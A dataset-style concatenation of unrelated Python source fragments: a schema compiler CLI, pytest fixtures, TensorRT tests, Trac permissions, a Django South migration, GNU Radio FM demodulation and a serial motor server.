'cpp-bundle-registration': # Function registrations must be output to impl_dir, since they link in # API implementations. output_dir = os.path.join(destdir, impl_dir) else: output_dir = os.path.join(destdir, src_path) if not os.path.exists(output_dir): os.makedirs(output_dir) with open(os.path.join(output_dir, filename), 'w') as f: f.write(code) # If multiple files are being output, add the filename for each file. if len(generators) > 1: output_code += [filename, '', code, ''] else: output_code += [code] return '\n'.join(output_code) if __name__ == '__main__': parser = optparse.OptionParser( description='Generates a C++ model of an API from JSON schema', usage='usage: %prog [option]... schema') parser.add_option('-r', '--root', default='.', help='logical include root directory. Path to schema files from specified' ' dir will be the include path.') parser.add_option('-d', '--destdir', help='root directory to output generated files.') parser.add_option('-n', '--namespace', default='generated_api_schemas', help='C++ namespace for generated files. e.g extensions::api.') parser.add_option('-b', '--bundle-name', default='', help='A string to prepend to generated bundle class names, so that ' 'multiple bundle rules can be used without conflicting. ' 'Only used with one of the cpp-bundle generators.') parser.add_option('-g', '--generator', default=GENERATORS[0], choices=GENERATORS, help='The generator to use to build the output code. Supported values are' ' %s' % GENERATORS) parser.add_option('-i', '--impl-dir', dest='impl_dir', help='The root path of all API implementations') parser.add_option('-I', '--include-rules', help='A list of paths to include when searching for referenced objects,' ' with the namespace separated by a \':\'. Example: ' '/foo/bar:Foo::Bar::%(namespace)s') (opts, file_paths) = parser.parse_args() if not file_paths: sys.exit(0) # This is OK as a no-op # Unless in bundle mode, only one file should be specified. if (opts.generator not in ('cpp-bundle-registration', 'cpp-bundle-schema') and len(file_paths) > 1): # TODO(sashab): Could also just use file_paths[0] here and not complain. raise Exception( ""Unless in bundle mode, only one file can be specified at a time."") def split_path_and_namespace(path_and_namespace): if ':' not in path_and_namespace: raise ValueError('Invalid include rule ""%s"". Rules must be of ' 'the form path:namespace' % path_and_namespace) return path_and_namespace.split(':', 1) include_rules = [] if opts.include_rules: include_rules = map(split_path_and_namespace, shlex.split(opts.include_rules)) result = GenerateSchema(opts.generator, file_paths, opts.root, opts.destdir, opts.namespace, opts.bundle_name, opts.impl_dir, include_rules) if not opts.destdir: print result ",1 " can redistribute it # and/or modify it under the terms of the GNU General Public License as # published by the Free Software Foundation; either version 2 of the # License, or (at your option) any later version. # # CERN Document Server is distributed in the hope that it will be # useful, but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # General Public License for more details. # # You should have received a copy of the GNU General Public License # along with CERN Document Server; if not, write to the # Free Software Foundation, Inc., 59 Temple Place, Suite 330, Boston, # MA 02111-1307, USA. # # In applying this license, CERN does not # waive the privileges and immunities granted to it by virtue of its status # as an Intergovernmental Organization or submit itself to any jurisdiction. """"""Pytest configuration. Before running any of the tests you must have initialized the assets using the ``script scripts/setup-assets.sh``. """""" from __future__ import absolute_import, print_function import os import shutil import tempfile import uuid import pkg_resources import pytest from cds_dojson.marc21 import marc21 from dojson.contrib.marc21.utils import create_record, split_blob from elasticsearch.exceptions import RequestError from invenio_db import db as _db from invenio_indexer.api import RecordIndexer from invenio_pidstore import current_pidstore from invenio_records.api import Record from invenio_search import current_search, current_search_client from selenium import webdriver from sqlalchemy_utils.functions import create_database, database_exists from cds.factory import create_app @pytest.yield_fixture(scope='session', autouse=True) def base_app(request): """"""Flask application fixture."""""" instance_path = tempfile.mkdtemp() os.environ.update( APP_INSTANCE_PATH=instance_path ) app = create_app( # CELERY_ALWAYS_EAGER=True, # CELERY_CACHE_BACKEND=""memory"", # CELERY_EAGER_PROPAGATES_EXCEPTIONS=True, # CELERY_RESULT_BACKEND=""cache"", SECRET_KEY=""CHANGE_ME"", SECURITY_PASSWORD_SALT=""CHANGE_ME"", MAIL_SUPPRESS_SEND=True, TESTING=True, ) with app.app_context(): yield app # Teardown shutil.rmtree(instance_path) @pytest.yield_fixture(scope='session') def db(base_app): """"""Initialize database."""""" # Init if not database_exists(str(_db.engine.url)): create_database(str(_db.engine.url)) _db.create_all() yield _db # Teardown _db.session.remove() _db.drop_all() @pytest.yield_fixture(scope='session') def es(base_app): """"""Provide elasticsearch access."""""" try: list(current_search.create()) except RequestError: list(current_search.delete()) list(current_search.create()) current_search_client.indices.refresh() yield current_search_client list(current_search.delete(ignore=[404])) @pytest.yield_fixture(scope='session', autouse=True) def app(base_app, es, db): """"""Application with ES and DB."""""" yield base_app def pytest_generate_tests(metafunc): """"""Override pytest's default test collection function. For each test in this directory which uses the `env_browser` fixture, the given test is called once for each value found in the `E2E_WEBDRIVER_BROWSERS` environment variable. """""" if 'env_browser' in metafunc.fixturenames: # In Python 2.7 the fallback kwarg of os.environ.get is `failobj`, # in 3.x it's `default`. browsers = os.environ.get('E2E_WEBDRIVER_BROWSERS', 'Firefox').split() metafunc.parametrize('env_browser', browsers, indirect=True) @pytest.yield_fixture() def env_browser(request): """"""Fixture for a webdriver instance of the browser."""""" if request.param is None: request.param = ""Firefox"" # Create instance of webdriver.`request.param`() browser = getattr(webdriver, request.param)() yield browser # Quit the webdriver instance browser.quit() @pytest.fixture() def demo_records(app): """"""Create demo records."""""" data_path = pkg_resources.resource_filename( 'cds.modules.fixtures', 'data/records.xml' ) with open(data_path) as source: indexer = RecordIndexer() with _db.session.begin_nested(): for index, data in enumerate(split_blob(source.read()), start=1): # create uuid rec_uuid = uuid.uuid4() # do translate record = marc21.do(create_record(data)) # create PID current_pidstore.minters['recid']( rec_uuid, record ) # create record indexer.index(Record.create(record, id_=rec_uuid)) _db.session.commit() return data_path ",1 "is file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an ""AS IS"" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # ============================================================================== """"""Basic tests for TF-TensorRT integration."""""" from __future__ import absolute_import from __future__ import division from __future__ import print_function from tensorflow.python.compiler.tensorrt.test import tf_trt_integration_test_base as trt_test from tensorflow.python.framework import dtypes from tensorflow.python.ops import array_ops from tensorflow.python.ops import math_ops from tensorflow.python.platform import test class ReshapeTest(trt_test.TfTrtIntegrationTestBase): def GraphFn(self, inp): outputs = [] # Here we test two types of reshapes, one changes the batch dimension and # the other does not. Note that we're not able to test reshaping to # scalar, since TRT requires input tensor to be of rank at least 2, so a # reshape with scalar input will be filtered out of the segment before # conversion. # # These reshapes happen at batch dimension, thus conversion should fail. for shape in [[2, 50, 24, 24, 2], [-1, 50, 24, 24, 2], [2, 50, -1, 24, 2]]: incompatible_reshape = array_ops.reshape(inp, shape) reshape_back = array_ops.reshape(incompatible_reshape, [-1, 24, 24, 2]) outputs.append(self.trt_incompatible_op(reshape_back)) # Add another block with many reshapes that don't change the batch # dimension. compatible_reshape = array_ops.reshape( inp, [-1, 24 * 24, 2], name=""reshape-0"") compatible_reshape = array_ops.reshape( compatible_reshape, [100, 24, -1], name=""reshape-1"") compatible_reshape = array_ops.reshape( compatible_reshape, [100, 24 * 2, 24], name=""reshape-2"") compatible_reshape = array_ops.reshape( compatible_reshape, [-1, 24, 24 * 2], name=""reshape-3"") compatible_reshape = array_ops.reshape( compatible_reshape, [-1, 6, 4, 24, 2], name=""reshape-4"") compatible_reshape = array_ops.reshape( compatible_reshape, [-1, 6, 4, 6, 4, 2, 1], name=""reshape-5"") compatible_reshape = array_ops.reshape( compatible_reshape, [-1, 24, 24, 2], name=""reshape-6"") outputs.append(self.trt_incompatible_op(compatible_reshape)) return math_ops.add_n(outputs, name=""output_0"") def GetParams(self): return self.BuildParams(self.GraphFn, dtypes.float32, [[100, 24, 24, 2]], [[100, 24, 24, 2]]) def ExpectedEnginesToBuild(self, run_params): """"""Return the expected engines to build."""""" return { ""TRTEngineOp_0"": [""reshape-%d"" % i for i in range(7)] + [""reshape-%d/shape"" % i for i in range(7)] } def ShouldRunTest(self, run_params): """"""Whether to run the test."""""" return (not trt_test.IsQuantizationMode(run_params.precision_mode) and not run_params.dynamic_engine) class TransposeTest(trt_test.TfTrtIntegrationTestBase): def GraphFn(self, inp): # Add a block with compatible transposes. compatible_transpose = array_ops.transpose( inp, [0, 3, 1, 2], name=""transpose-1"") compatible_transpose = array_ops.transpose( compatible_transpose, [0, 2, 3, 1], name=""transposeback"") # Add an incompatible op so the first block will not be in the same # subgraph where the following block belongs. bridge = self.trt_incompatible_op(compatible_transpose) # Add a block with incompatible transposes. # # Note: by default Grappler will run the TRT optimizer twice. At the # first time it will group the two transpose ops below to same segment # then fail the conversion due to the expected batch dimension problem. # At the second time, since the input of bridge op is TRTEngineOp_0, it # will fail to do shape inference which then cause conversion to fail. # TODO(laigd): support shape inference, make TRT optimizer run only # once, and fix this. incompatible_transpose = array_ops.transpose( bridge, [2, 1, 0, 3], name=""transpose-2"") excluded_transpose = array_ops.transpose( incompatible_transpose, [0, 2, 3, 1], name=""transpose-3"") return array_ops.identity(excluded_transpose, name=""output_0"") def GetParams(self): return self.BuildParams(self.GraphFn, dtypes.float32, [[100, 24, 24, 2]], [[24, 100, 2, 24]]) def ExpectedEnginesToBuild(self, run_params): """"""Return the expected engines to build."""""" return { ""TRTEngineOp_0"": [ ""transpose-1"", ""transpose-1/perm"", ""transposeback"", ""transposeback/perm"" ] } def ShouldRunTest(self, run_params): """"""Whether to run the test."""""" return (not trt_test.IsQuantizationMode(run_params.precision_mode) and not run_params.dynamic_engine) if __name__ == ""__main__"": test.main() ",1 "ssedsites = 2, minlength = 4, maxlength = 51, modRes = '', modMass = 0.0, linkermass = 136.10005, ms1tol = dict(measure='ppm', val=5), ms2tol = dict(measure='da', val=0.01), minmz = 200, maxmz = 2000, mode = 'conservative', patternstring = '^[ACDEFGHIKLMNPQRSTVWY]*K[ACDEFGHIKLMNPQRSTVWY]+$', fixedMod = [], neutralloss=dict( h2oLoss=dict( mass=-18.010565, aa=set('ACDEFGHIKLMNPQRSTVWY')), nh3Loss=dict( mass=-17.026549, aa=set('ACDEFGHIKLMNPQRSTVWY')), h2oGain=dict( mass=18.010565, aa=set('ACDEFGHIKLMNPQRSTVWY')))) mass = dict( A=71.037114, R=156.101111, N=114.042927, D=115.026943, C=103.009184, E=129.042593, Q=128.058578, G=57.021464, H=137.058912, I=113.084064, L=113.084064, K=128.094963, M=131.040485, F=147.068414, P=97.052764, S=87.032028, T=101.047678, W=186.079313, Y=163.063329, V=99.068414, Hatom=1.007825032, Oatom=15.99491462, neutronmass = 1.008701, BIonRes=1.0078246, AIonRes=-26.9870904, YIonRes=19.0183888, isotopeInc = [1.008701/4, 1.008701/3, 1.008701/2, 1.008701/1]) modification = dict( position=[], deltaMass=[]) for i in range(len(param['fixedMod'])): aa = param['fixedMod'][i][0] delta = param['fixedMod'][i][1] mass[aa] += delta ",1 "on = version, description = 'Client for the Danga (Perl) Gearman implementation', author = 'Samuel Stauffer', author_email = 'samuel@descolada.com', url = 'http://github.com/saymedia/python-danga-gearman/tree/master', packages = ['dangagearman'], classifiers = [ 'Intended Audience :: Developers', 'License :: OSI Approved :: MIT License', 'Operating System :: OS Independent', 'Programming Language :: Python', 'Topic :: Software Development :: Libraries :: Python Modules', ], ) ",1 ", which # you should have received as part of this distribution. The terms # are also available at http://trac.edgewall.org/wiki/TracLicense. # # This software consists of voluntary contributions made by many # individuals. For the exact contribution history, see the revision # history and logs, available at http://trac.edgewall.org/log/. from trac.core import * from trac.config import ConfigSection from trac.perm import IPermissionRequestor class ExtraPermissionsProvider(Component): """"""Extra permission provider."""""" implements(IPermissionRequestor) extra_permissions_section = ConfigSection('extra-permissions', doc=""""""This section provides a way to add arbitrary permissions to a Trac environment. This can be useful for adding new permissions to use for workflow actions, for example. To add new permissions, create a new section `[extra-permissions]` in your `trac.ini`. Every entry in that section defines a meta-permission and a comma-separated list of permissions. For example: {{{ [extra-permissions] extra_admin = extra_view, extra_modify, extra_delete }}} This entry will define three new permissions `EXTRA_VIEW`, `EXTRA_MODIFY` and `EXTRA_DELETE`, as well as a meta-permissions `EXTRA_ADMIN` that grants all three permissions. If you don't want a meta-permission, start the meta-name with an underscore (`_`): {{{ [extra-permissions] _perms = extra_view, extra_modify }}} """""") def get_permission_actions(self): permissions = {} for meta, perms in self.extra_permissions_section.options(): perms = [each.strip().upper() for each in perms.split(',')] for perm in perms: permissions.setdefault(perm, []) meta = meta.strip().upper() if meta and not meta.startswith('_'): permissions.setdefault(meta, []).extend(perms) return [(k, v) if v else k for k, v in permissions.iteritems()] ",1 "xt is split into lines corresponding to the linewidth of the device. """""" def __init__(self): """""" Construct empty object. """""" self.num_lines = 0 self.remaining_lines = MAX_NUM_LINES self.lines = [] def insert(self, string): """""" Insert string at the end. This always begins a new line. """""" if (self.num_lines >= MAX_NUM_LINES): pass input_num_lines = num_lines(string) #if (input_num_lines > self.remaining_lines): # num = self.remaining_lines #else: # num = input_num_lines num = input_num_lines new_lines = get_lines(string) self.lines += new_lines[-num:] self.update_num_lines() def merge_after(self, obj): """""" Merge with another CmdText object by appending the input objects content. """""" self.lines def strip_lines(self): """""" Remove excessive number of lines. This deletes the oldest half. """""" if (self.num_lines > MAX_NUM_STORED_LINES): for i in range(MAX_NUM_STORED_LINES // 2): self.lines.pop(i) def update_num_lines(self): """""" Update the number of lines member. """""" self.num_lines = len(self.lines) def get_line(self, n): """""" Return the line with index n. """""" if n < self.num_lines: return self.lines[n] else: raise IndexError(""Line index out of range."") def print_screen(self): """""" Return MAX_NUM_LINES lines. """""" return self.lines[-MAX_NUM_LINES:] def __iter__(self): """""" Iterator for CmdText object. """""" for l in self.lines: yield l def __getitem__(self, ind): return self.lines[ind] def num_lines(string): """""" Return number of lines. """""" line_list = string.split(""\n"") num = len(line_list) for l in line_list: num += (len(string) // LINEWIDTH + 1) return num def get_lines(string): """""" Return list of lines extracted from string. """""" line_list = string.split('\n') new_list = [] for l in line_list: new_list += [l[i*LINEWIDTH:(i+1)*LINEWIDTH] for i in range(len(l) // LINEWIDTH + 1)] return new_list class Command(CmdText): def __init__(self, string, rind=None): CmdText.__init__(self) self.insert(string) if (rind is not None): self.response = rind class Response(CmdText): def __init__(self, string, cind=None): CmdText.__init__(self) self.insert(string) if (cind is not None): self.command = cind class TestCase(object): """""" Base class for tests. """""" @classmethod def run(cls): """""" Runs all tests (methods which begin with 'test'). """""" #print(cls) max_len = max([len(a) for a in cls.__dict__]) for key in cls.__dict__: if key.startswith(""test""): fill = max_len - len(key) sys.stdout.write(""Testing {} ...{} "".format(key, '.'*fill)) try: cls.__dict__[key]() except: raise else: print(""Test passed!"") print(""All tests passed!"") class StaticTest(TestCase): """""" Tests for static methods. """""" def test_get_lines_with_empty_string(): assert get_lines("""") == [""""] def test_get_lines_with_short_string(): assert len(get_lines(""a""*(LINEWIDTH-1))) == 1 def test_get_lines_with_long_string(): assert len(get_lines(""a""*(2*LINEWIDTH-1))) == 2 def test_get_lines_with_very_long_string(): assert len(get_lines(""a""*(4*LINEWIDTH-1))) == 4 def test_get_lines_with_long_text_string(): text = ""This is a test string, which should simulate real text. The command should"" \ + "" correctly split this text into two lines."" LINEWIDTH = 80 correct_lines = [text[:LINEWIDTH], text[LINEWIDTH:]] assert len(get_lines(text)) == len(text) // LINEWIDTH + 1 assert get_lines(text) == correct_lines class CmdTextTest(object): """""" Tests for CmdText class methods. """""" pass",1 "odify it under the terms of the GNU General Public License # as published by the Free Software Foundation; either version 2 # of the License, or (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program; if not, write to the Free Software # Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, # USA. import unittest from ldotcommons import config class TestRecord(unittest.TestCase): def setUp(self): pass def test_init_with_args(self): a = config.Record({'foo': 1, 'bar': 'x'}) self.assertEqual(a.get('foo'), 1) b = config.Record() b.set('foo', 1) b.set('bar', 'x') self.assertEqual(a, b) def test_setget(self): s = config.Record() s.set('foo', 1) s.set('bar', 'x') s.set('x.y', []) self.assertEqual(s.get('foo'), 1) self.assertEqual(s.get('bar'), 'x') self.assertEqual(s.get('x.y'), []) def test_nonexistent_key(self): s = config.Record() with self.assertRaises(KeyError): s.get('foo') def test_delete(self): s = config.Record() s.set('foo', 1) s.set('foo.bar', 2) s.delete('foo') with self.assertRaises(KeyError): s.get('foo.bar') with self.assertRaises(KeyError): s.get('foo') def test_eq(self): data = { 'foo': 1, 'x.y': 'z', 'dict': {'a': 'b'} } a = config.Record(**data.copy()) b = config.Record(**data.copy()) self.assertEqual(a, b) def test_sub(self): x = config.Record({ 'foo': 1, 'bar.x': 'x', 'bar.y': 'y', }) y = config.Record({ 'x': 'x', 'y': 'y', }) self.assertEqual(x.sub('bar'), y) def test_children(self): x = config.Record({ 'foo': 1, 'bar.x': 'x', 'bar.y': 'y', }) self.assertEqual(set(x.children('bar')), set(['x', 'y'])) class TestRecordAttr(unittest.TestCase): def test_getset(self): x = config.RecordAttr({'foo': 1, 'bar': 'x', 'a.b': 2}) self.assertEqual(x.foo, 1) self.assertEqual(x.a.b, 2) if __name__ == '__main__': unittest.main() ",1 "ration): def forwards(self, orm): # Adding field 'InstanceApplication.network' db.add_column('apply_instanceapplication', 'network', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['ganeti.Network'], null=True, blank=True), keep_default=False) def backwards(self, orm): # Deleting field 'InstanceApplication.network' db.delete_column('apply_instanceapplication', 'network_id') models = { 'apply.instanceapplication': { 'Meta': {'object_name': 'InstanceApplication'}, 'admin_contact_email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'null': 'True', 'blank': 'True'}), 'admin_contact_name': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'admin_contact_phone': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'}), 'applicant': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['auth.User']""}), 'backend_message': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'cluster': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['ganeti.Cluster']"", 'null': 'True', 'blank': 'True'}), 'comments': ('django.db.models.fields.TextField', [], {'null': 'True', 'blank': 'True'}), 'cookie': ('django.db.models.fields.CharField', [], {'default': ""'AYkWSa4Fr2'"", 'max_length': '255'}), 'disk_size': ('django.db.models.fields.IntegerField', [], {}), 'filed': ('django.db.models.fields.DateTimeField', [], {'auto_now_add': 'True', 'blank': 'True'}), 'hostname': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'hosts_mail_server': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'job_id': ('django.db.models.fields.IntegerField', [], {'null': 'True', 'blank': 'True'}), 'last_updated': ('django.db.models.fields.DateTimeField', [], {'auto_now': 'True', 'blank': 'True'}), 'memory': ('django.db.models.fields.IntegerField', [], {}), 'network': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['ganeti.Network']"", 'null': 'True', 'blank': 'True'}), 'operating_system': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'organization': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['apply.Organization']""}), 'status': ('django.db.models.fields.IntegerField', [], {}), 'vcpus': ('django.db.models.fields.IntegerField', [], {}) }, 'apply.organization': { 'Meta': {'object_name': 'Organization'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'phone': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'title': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'users': ('django.db.models.fields.related.ManyToManyField', [], {'symmetrical': 'False', 'to': ""orm['auth.User']"", 'null': 'True', 'blank': 'True'}), 'website': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}) }, 'apply.sshpublickey': { 'Meta': {'object_name': 'SshPublicKey'}, 'comment': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'fingerprint': ('django.db.models.fields.CharField', [], {'max_length': '255', 'null': 'True', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'key': ('django.db.models.fields.TextField', [], {}), 'key_type': ('django.db.models.fields.CharField', [], {'max_length': '12'}), 'owner': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['auth.User']""}) }, 'auth.group': { 'Meta': {'object_name': 'Group'}, 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}) }, 'auth.permission': { 'Meta': {'unique_together': ""(('content_type', 'codename'),)"", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['contenttypes.ContentType']""}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, 'auth.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Group']"", 'symmetrical': 'False', 'blank': 'True'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True', 'blank': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': ""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) }, 'contenttypes.contenttype': { 'Meta': {'unique_together': ""(('app_label', 'model'),)"", 'object_name': 'ContentType', 'db_table': ""'django_content_type'""}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, 'ganeti.cluster': { 'Meta': {'object_name': 'Cluster'}, 'description': ('django.db.models.fields.CharField', [], {'max_length': '128', 'null': 'True', 'blank': 'True'}), 'fast_create': ('django.db.models.fields.BooleanField', [], {'default': 'False', 'blank': 'True'}), 'hostname': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'}), 'port': ('django.db.models.fields.PositiveIntegerField', [], {'default': '5080'}), 'slug': ('django.db.models.fields.SlugField', [], {'max_length': '50', 'db_index': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'max_length': '64', 'null': 'True', 'blank': 'True'}) }, 'ganeti.network': { 'Meta': {'object_name': 'Network'}, 'cluster': ('django.db.models.fields.related.ForeignKey', [], {'to': ""orm['ganeti.Cluster']""}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'link': ('django.db.models.fields.CharField', [], {'max_length': '255'}), 'mode': ('django.db.models.fields.CharField', [], {'max_length': '64'}) } } complete_apps = ['apply'] ",1 ". # Licensed under the MIT License. See License.txt in the project root for # license information. # # Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. # -------------------------------------------------------------------------- from msrest.serialization import Model class Product(Model): _required = [] _attribute_map = { 'integer': {'key': 'integer', 'type': 'int'}, 'string': {'key': 'string', 'type': 'str'}, } def __init__(self, *args, **kwargs): """"""Product :param int integer :param str string """""" self.integer = None self.string = None super(Product, self).__init__(*args, **kwargs) ",1 "d/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation; either version 3, or (at your option) # any later version. # # GNU Radio is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with GNU Radio; see the file COPYING. If not, write to # the Free Software Foundation, Inc., 51 Franklin Street, # Boston, MA 02110-1301, USA. # from gnuradio import gr, optfir from gnuradio.blks2impl.fm_emph import fm_deemph from math import pi class fm_demod_cf(gr.hier_block2): """""" Generalized FM demodulation block with deemphasis and audio filtering. This block demodulates a band-limited, complex down-converted FM channel into the the original baseband signal, optionally applying deemphasis. Low pass filtering is done on the resultant signal. It produces an output float strem in the range of [-1.0, +1.0]. @param channel_rate: incoming sample rate of the FM baseband @type sample_rate: integer @param deviation: maximum FM deviation (default = 5000) @type deviation: float @param audio_decim: input to output decimation rate @type audio_decim: integer @param audio_pass: audio low pass filter passband frequency @type audio_pass: float @param audio_stop: audio low pass filter stop frequency @type audio_stop: float @param gain: gain applied to audio output (default = 1.0) @type gain: float @param tau: deemphasis time constant (default = 75e-6), specify 'None' to prevent deemphasis """""" def __init__(self, channel_rate, audio_decim, deviation, audio_pass, audio_stop, gain=1.0, tau=75e-6): gr.hier_block2.__init__(self, ""fm_demod_cf"", gr.io_signature(1, 1, gr.sizeof_gr_complex), # Input signature gr.io_signature(1, 1, gr.sizeof_float)) # Output signature k = channel_rate/(2*pi*deviation) QUAD = gr.quadrature_demod_cf(k) audio_taps = optfir.low_pass(gain, # Filter gain channel_rate, # Sample rate audio_pass, # Audio passband audio_stop, # Audio stopband 0.1, # Passband ripple 60) # Stopband attenuation LPF = gr.fir_filter_fff(audio_decim, audio_taps) if tau is not None: DEEMPH = fm_deemph(channel_rate, tau) self.connect(self, QUAD, DEEMPH, LPF, self) else: self.connect(self, QUAD, LPF, self) class demod_20k0f3e_cf(fm_demod_cf): """""" NBFM demodulation block, 20 KHz channels This block demodulates a complex, downconverted, narrowband FM channel conforming to 20K0F3E emission standards, outputting floats in the range [-1.0, +1.0]. @param sample_rate: incoming sample rate of the FM baseband @type sample_rate: integer @param audio_decim: input to output decimation rate @type audio_decim: integer """""" def __init__(self, channel_rate, audio_decim): fm_demod_cf.__init__(self, channel_rate, audio_decim, 5000, # Deviation 3000, # Audio passband frequency 4500) # Audio stopband frequency class demod_200kf3e_cf(fm_demod_cf): """""" WFM demodulation block, mono. This block demodulates a complex, downconverted, wideband FM channel conforming to 200KF3E emission standards, outputting floats in the range [-1.0, +1.0]. @param sample_rate: incoming sample rate of the FM baseband @type sample_rate: integer @param audio_decim: input to output decimation rate @type audio_decim: integer """""" def __init__(self, channel_rate, audio_decim): fm_demod_cf.__init__(self, channel_rate, audio_decim, 75000, # Deviation 15000, # Audio passband 16000, # Audio stopband 20.0) # Audio gain ",1 " = ""urpobot.motor"" SERVICE_PORT = 7575 SIGNALS_PORT = 7576 # How long to wait for new commands before stopping automatically COMMAND_GRACE_TIME = 0.250 class motorserver(zmqdecorators.service): def __init__(self, service_name, service_port, serialport): super(motorserver, self).__init__(service_name, service_port) self.serial_port = serialport self.input_buffer = """" self.evthandler = ioloop_mod.IOLoop.instance().add_handler(self.serial_port.fileno(), self.handle_serial_event, ioloop_mod.IOLoop.instance().READ) self.last_command_time = time.time() self.pcb = ioloop_mod.PeriodicCallback(self.check_data_reveived, COMMAND_GRACE_TIME) self.pcb.start() def check_data_reveived(self, *args): if (time.time() - self.last_command_time > COMMAND_GRACE_TIME): self._setspeeds(0,0) def _setspeeds(self, m1speed, m2speed): self.serial_port.write(""S%04X%04X\n"" % ((m1speed & 0xffff), (m2speed & 0xffff))) @zmqdecorators.method() def setspeeds(self, resp, m1speed, m2speed): self.last_command_time = time.time() #print(""Got speeds %s,%s"" % (m1speed, m2speed)) self._setspeeds(m1speed, m2speed) # TODO: actually handle ACK/NACK somehow (we need to read it from the serialport but we can't block while waiting for it...) resp.send(""ACK"") def handle_serial_event(self, fd, events): # Copied from arbus that was thread based if not self.serial_port.inWaiting(): # Don't try to read if there is no data, instead sleep (yield) a bit time.sleep(0) return data = self.serial_port.read(1) if len(data) == 0: return #print(""DEBUG: data=%s"" % data) # Put the data into inpit buffer and check for CRLF self.input_buffer += data # Trim prefix NULLs and linebreaks self.input_buffer = self.input_buffer.lstrip(chr(0x0) + ""\r\n"") #print ""input_buffer=%s"" % repr(self.input_buffer) if ( len(self.input_buffer) > 1 and self.input_buffer[-2:] == ""\r\n""): # Got a message, parse it (sans the CRLF) and empty the buffer self.message_received(self.input_buffer[:-2]) self.input_buffer = """" def message_received(self, message): #print(""DEBUG: msg=%s"" % message) try: # Currently we have no incoming messages from this board pass except Exception as e: print ""message_received exception: Got exception %s"" % repr(e) # Ignore indexerrors, they just mean we could not parse the command pass pass def cleanup(self): print(""Cleanup called"") self._setspeeds(0,0) def run(self): print(""Starting motorserver"") super(motorserver, self).run() if __name__ == ""__main__"": import serial import sys,os port = serial.Serial(sys.argv[1], 115200, xonxoff=False, 